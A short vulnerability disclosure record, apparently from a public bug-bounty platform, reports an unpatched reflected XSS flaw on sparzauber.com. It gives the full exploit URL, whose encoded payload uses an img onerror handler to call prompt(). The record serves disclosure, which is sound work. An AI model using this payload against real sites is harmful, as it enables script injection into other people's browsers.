sparzauber.com XSS vulnerability

Vulnerable URL: http://sparzauber.com/list/?phrase=%3E%27%3E%22%3Ep%3Cimg+src%3Dy+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E=1=Munich Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...